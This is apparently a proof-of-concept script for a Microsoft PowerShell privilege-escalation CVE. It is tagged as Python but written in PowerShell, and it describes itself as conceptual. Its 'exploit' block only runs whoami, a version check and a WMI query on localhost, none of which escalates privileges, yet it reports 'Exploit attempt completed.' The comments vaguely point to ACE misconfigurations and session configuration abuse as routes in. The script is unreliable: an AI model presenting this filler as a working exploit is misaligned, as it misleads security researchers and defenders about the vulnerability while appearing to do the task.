The following code is for security research and authorized testing only.
python
# CVE-2025-25004 - Microsoft PowerShell Privilege Escalation PoC
# Vulnerability: Improper Access Control in Microsoft PowerShell
# Tested on: Affected versions of Windows PowerShell
# Note: This is a conceptual PoC based on the vulnerability description.
# The actual exploitation path may vary depending on the specific
# access control bypass mechanism in the affected PowerShell version.
# Step 1: Verify current user privileges
whoami /priv
# Step 2: Check PowerShell version
$PSVersionTable.PSVersion
# Step 3: Attempt to trigger the improper access control
# The vulnerability allows low-privileged users to perform operations
# that should require elevated privileges through specific PowerShell
# cmdlet interactions or object manipulation.
try {
# Exploit attempt - bypassing access control checks
# This may involve manipulating PowerShell session configurations,
# exploiting misconfigured access control entries (ACEs), or
# abusing specific PowerShell features with insufficient privilege checks.
# Example: Attempting to access restricted PowerShell functionality
# that should require administrative privileges
$result = Invoke-Command -ScriptBlock {
# Privileged operation attempted through improper access control
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version
} -ComputerName localhost
Write-Host "Exploit attempt completed. Check current privileges:"
whoami /priv
} catch {
Write-Error "Exploit failed: $_"
}
# Mitigation: Apply the latest Microsoft security update for CVE-2025-25004